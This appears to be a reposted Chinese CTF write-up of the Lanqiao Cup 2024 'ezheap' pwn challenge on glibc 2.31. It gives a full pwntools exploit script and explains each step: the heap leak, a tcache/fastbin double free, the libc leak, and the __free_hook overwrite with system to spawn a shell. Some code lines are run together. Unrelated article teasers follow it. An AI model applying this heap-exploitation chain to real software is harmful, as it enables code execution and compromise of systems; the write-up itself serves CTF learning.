[蓝桥杯2024]-PWN:ezheap解析(堆glibc2.31,glibc2.31下的double free)

查看保护

查看ida

大致就是只能创建0x60大小的堆块,并且uaf只能利用一次

完整exp:

from pwn import*
#context(log_level='debug')
p=process('./ezheap2.31')def alloc(content):p.sendlineafter(b'4.exit',b'1')p.send(content)
def free(index):p.sendlineafter(b'4.exit',b'2')p.sendline(str(index))
def show(index):p.sendlineafter(b'4.exit',b'3')p.sendline(str(index))
def uaffree(index):p.sendlineafter(b'4.exit',b'2106373')p.sendline(str(index))for i in range(3):alloc(b'a')
for i in range(2,0,-1):free(i)
alloc(b'a')
show(1)
p.recvuntil(b'a')
heapbase=(u64(p.recv(5).ljust(8,b'\x00'))<<8)-0x300
print(hex(heapbase))
alloc(b'a')
for i in range(10):alloc(b'a')
for i in range(7,0,-1):free(i)
uaffree(0)
payload=b'\x00'*0x18+p64(0x61)
alloc(payload)
free(0)
payload=p64(heapbase+0x290+0x10+0x10)
alloc(payload)
for i in range(7):payload=b'\x00'*0x18+p64(0x61)alloc(payload)
payload=b'\x00'*0x38+p64(0x60*11+1)
alloc(payload)
free(1)
alloc(b'a')
show(1)
onelibc=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(onelibc))
libc_start_main243=onelibc-0x61-0x1c8e7d
libc_start_main=libc_start_main243-243
libc=ELF('/home/pwn/libc.so.6')
libcbase=libc_start_main-libc.sym['__libc_start_main']
system=libcbase+libc.sym['system']
freehook=libcbase+libc.sym['__free_hook']
print(hex(system))
free(10)
free(1)
free(14)
payload=b'\x00'*0x38+p64(0x61)+p64(freehook)
alloc(payload)
payload=b'/bin/sh\x00'
alloc(payload)
payload=p64(system)
alloc(payload)
free(10)
p.interactive()

这里分为以下几个部分来讲

获取heap基地址:

for i in range(3):alloc(b'a')
for i in range(2,0,-1):free(i)
alloc(b'a')
show(1)
p.recvuntil(b'a')
heapbase=(u64(p.recv(5).ljust(8,b'\x00'))<<8)-0x300

在此版本中释放两个堆块后,在tcachebin中后一个堆块的fd会指向前一个堆块的fd,也就是存储前一个堆块的fd地址,而malloc不会清空内存,就可以泄露出heap地址了。

实现前提:

申请堆块不会清空内存

泄露libc地址:

alloc(b'a')
for i in range(10):alloc(b'a')
for i in range(7,0,-1):free(i)
uaffree(0)
payload=b'\x00'*0x18+p64(0x61)
alloc(payload)
free(0)
payload=p64(heapbase+0x290+0x10+0x10)
alloc(payload)
for i in range(7):payload=b'\x00'*0x18+p64(0x61)alloc(payload)
payload=b'\x00'*0x38+p64(0x60*11+1)
alloc(payload)
free(1)
alloc(b'a')
show(1)
onelibc=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(onelibc))
libc_start_main243=onelibc-0x61-0x1c8e7d
libc_start_main=libc_start_main243-243
libc=ELF('/home/pwn/libc.so.6')
libcbase=libc_start_main-libc.sym['__libc_start_main']
system=libcbase+libc.sym['system']
freehook=libcbase+libc.sym['__free_hook']
print(hex(system))

这里要运用uaf的原因是因为程序会通过检测堆数组里是否有所释放堆块的地址。这里用到了double free,这个版本下的tcachebin已经没有办法像glibc2.27那样直接free同一个堆块两次了,只能用将同一个堆块放入tcachebin和fastbin,因为2.31是通过检查堆块是否在tcachebin中来防范double free的,通过这种方法可以实现2.31下的double free。而用完double free之后在一个堆块的中间又创建一个堆块来方便修改下一个堆块的size和fd是因为我们要利用任意地址创建堆块两次。

题目要求:

地址在堆块数组中的堆块才能free

实现前提:

uaf漏洞

getshell:

free(10)
free(1)
free(14)
payload=b'\x00'*0x38+p64(0x61)+p64(freehook)
alloc(payload)
payload=b'/bin/sh\x00'
alloc(payload)
payload=p64(system)
alloc(payload)
free(10)

操作前提:

有一个可以修改另一个堆块的fd的堆块

#补充点:题目的接收好像有点问题,exp多试几次才能出。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/320517.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

LeetCode 226.翻转二叉树(全网最多的解法)

LeetCode 226.翻转二叉树 1、题目 题目链接&#xff1a;226. 翻转二叉树 给你一棵二叉树的根节点 root &#xff0c;翻转这棵二叉树&#xff0c;并返回其根节点。 示例 1&#xff1a; 输入&#xff1a;root [4,2,7,1,3,6,9] 输出&#xff1a;[4,7,2,9,6,3,1]示例 2&#…

怎么通过Java语言实现远程控制无人售货柜

怎么通过Java语言实现远程控制无人售货柜呢&#xff1f; 本文描述了使用Java语言调用HTTP接口&#xff0c;实现控制无人售货柜&#xff0c;独立控制售货柜、格子柜的柜门。 可选用产品&#xff1a;可根据实际场景需求&#xff0c;选择对应的规格 序号设备名称厂商1智能WiFi控…

52. 【Android教程】网页视图:WebView

在前面的章节我们所围绕的全部都是纯客户端开发&#xff0c;我们叫 Native 开发。这样的好处就是体验和性能会非常好&#xff0c;但是在实际的使用中我们会发现存在大量的 H5 页面。这样就可以结合 Native / H5 双端的优势完成一个混合开发&#xff0c;而在这种开发模式中首当其…

[HNOI2003]激光炸弹

原题链接&#xff1a;登录—专业IT笔试面试备考平台_牛客网 目录 1. 题目描述 2. 思路分析 3. 代码实现 1. 题目描述 2. 思路分析 二维前缀和板题。 注意从&#xff08;1,1&#xff09;开始存即可&#xff0c;所以每次输入x,y之后&#xff0c;要x,y。 因为m的范围最大为…

微搭低代码入门05文件的上传和下载

目录 1 创建数据源2 创建应用3 创建页面4 设置导航功能5 文件上传6 文件下载总结 小程序中&#xff0c;我们通常会有文件的上传和下载的需&#xff0c;在微搭中&#xff0c;文件是存放在云存储中&#xff0c;每一个文件都会有一个唯一的fileid&#xff0c;我们本篇就介绍如何通…

农药生产厂污废水如何处理达标

农药生产厂的污废水处理是确保该行业对环境的负面影响最小化的重要环节。下面是一些常见的处理方法和步骤&#xff0c;可以帮助农药生产厂的污废水达到排放标准&#xff1a; 预处理&#xff1a;将废水进行初步处理&#xff0c;去除大颗粒悬浮物和固体残渣。这可以通过筛网、沉淀…

ArthasGC日志GCeasy详解

Arthas详解 Arthas是阿里巴巴在2018年9月开源的Java诊断工具,支持JDK6,采用命令行交互模式,可以方便定位和诊断线上程序运行问题.Arthas官方文档十分详细.详见:官方文档 Arthas使用场景 Arthas使用 # github下载arthas wget https://alibaba.github.io/arthas/arthas-boot.j…

C++例题:大数运算---字符串相加(使用数字字符串来模拟竖式计算)

1.代码速览 class Solution2 { public:string addStrings(string num1, string num2){//end1和end1是下标int end1 num1.size() - 1;int end2 num2.size() - 1;string str;//下标(指针)从后向前走,走到头才可以结束,所以是end>0int next 0;while (end1 > 0 || end2 &…

ADS基础教程9-理想模型和厂商模型实现及对比

目录 一、概要二、厂商库使用1.新建cell2.调用厂商库中元器件3.元器件替换及参数选择4.完成参数选择5.导入子图 三、仿真实现注意事项 一、概要 本文将介绍在ADS中调用厂商提供的库&#xff0c;来进行原理图仿真&#xff0c;并实现与ADS系统提供的理想元器件之间的比较。 二、…

触摸OpenNJet,感悟云原生

小程一言 云原生使得应用充分利用云计算、容器化和微服务架构等现代技术来构建和运行应用程序。 云原生技术的用处在于提高应用程序的可靠性、可伸缩性和灵活性&#xff0c;加快开发和部署速度&#xff0c;降低成本&#xff0c;提升整体的效率和竞争力。通过采用云原生技术&a…

SpringBoot+Vue+Element-UI实现协同过滤算法商品推荐系统

前言介绍 本次设计任务是要设计一个基于协同过滤算法的商品推荐系统&#xff0c;通过这个系统能够满足商品推荐系统的管理功能。系统的主要包括首页&#xff0c;个人中心&#xff0c;用户管理&#xff0c;商品类型管理&#xff0c;商品信息管理&#xff0c;系统管理&#xff0…

LabVIEW航空发动机主轴承试验器数据采集与监测

LabVIEW航空发动机主轴承试验器数据采集与监测 随着航空技术的迅速发展&#xff0c;对航空发动机性能的测试与监测提出了更高的要求。传统的数据采集与监测方法已难以满足当前高精度和高可靠性的需求&#xff0c;特别是在主轴承试验方面。基于LabVIEW的航空发动机主轴承试验器…

小工具 - 用Astyle的DLL封装一个对目录进行代码格式化的工具

文章目录 小工具 - 用Astyle的DLL封装一个对目录进行代码格式化的工具概述笔记效果编译AStyle的DLL初次使用接口的小疑惑测试程序 - 头文件测试程序 - 实现文件测试程序 - RC备注END 小工具 - 用Astyle的DLL封装一个对目录进行代码格式化的工具 概述 上一个实验(vs2019 - ast…

移动机器人系统与技术:自动驾驶、移动机器人、旋翼无人机

这本书全面介绍了机器人车辆的技术。它介绍了道路上自动驾驶汽车所需的概念。此外&#xff0c;读者可以在六足机器人的构造、编程和控制方面获得宝贵的知识。 这本书还介绍了几种不同类型旋翼无人机的控制器和空气动力学。它包括各种旋翼推进飞行器在不同空气动力学环境下的模…

ComfyUI 基础教程(十三):ComfyUI-Impact-Pack 面部修复

SD的WebUI 中的面部修复神器 ADetailer,无法在ComfyUI 中使用。那么如何在ComfyUI中进行面部处理呢?ComfyUI 中也有几个面部修复功能,比如ComfyUI Impact Pack(FaceDetailer),以及换脸插件Reactor和IPAdapter。 ComfyUI-Impact-Pack 是一个功能强大的插件,专为 ComfyUI …

大模型_基于医疗领域用lora微调ChatDoctor模型

文章目录 ChatDoctor目标方法结果结论收集和准备医患对话数据集创建外部知识数据库具有知识大脑的自主聊天医生的开发模型培训结果数据和模型&#xff1a; 微调推理 ChatDoctor 目标 这项研究的主要目的是通过创建一个在医学建议中具有更高准确性的专业语言模型&#xff0c;来…

STM32入门_江协科技_3~4_OB记录的自学笔记_软件安装新建工程

3. 软件安装 3.1. 安装Keil5 MDK 作者的资料下载的连接如下&#xff1a;https://jiangxiekeji.com/download.html#32 3.2. 安装器件支持包 因为新的芯片层出不穷&#xff0c;所以需要安装Keil5提供的器件升级版对软件进行升级&#xff0c;从而支持新的芯片&#xff1b;如果不…

FastDFS - 无法获取服务端连接资源:can‘t create connection to/xx.xx.xx.xx:0

问题描述 根据官方文档 安装完FastDFS服务器后&#xff0c; 服务正常启动&#xff0c;但是在 SpringBoot 项目使用 fastdfs-client 客户端报错无法获取服务端连接资源&#xff1a;cant create connection to/xx.xx.xx.xx:0, 一系列排查发现是获取到的 tracker 端口为 0 。 co…

第78天:WAF攻防-菜刀冰蝎哥斯拉流量通讯特征绕过检测反制感知

目录 案例一&#xff1a; 菜刀-流量&绕过&特征&检测 菜刀的流量特征 案例二&#xff1a;冰蝎-流量&绕过&特征&检测 冰蝎使用教程 冰蝎的流量特征 案例三&#xff1a; 哥斯拉-流量&绕过&特征&检测 哥斯拉使用教程 哥斯拉的流量特征…

产业观察:电机驱动成为人形机器人的动力核心

前不久&#xff0c;波士顿动力发布一则“再见&#xff0c;液压Atlas”视频&#xff0c;宣告其著名的液压驱动双足人形机器人Atlas正式退役。这则视频引起全球所有Atlas粉丝的高度关注。然而紧接着&#xff0c;波士顿动力便又推出了全部由电机驱动的新一代Atlas机器人&#xff0…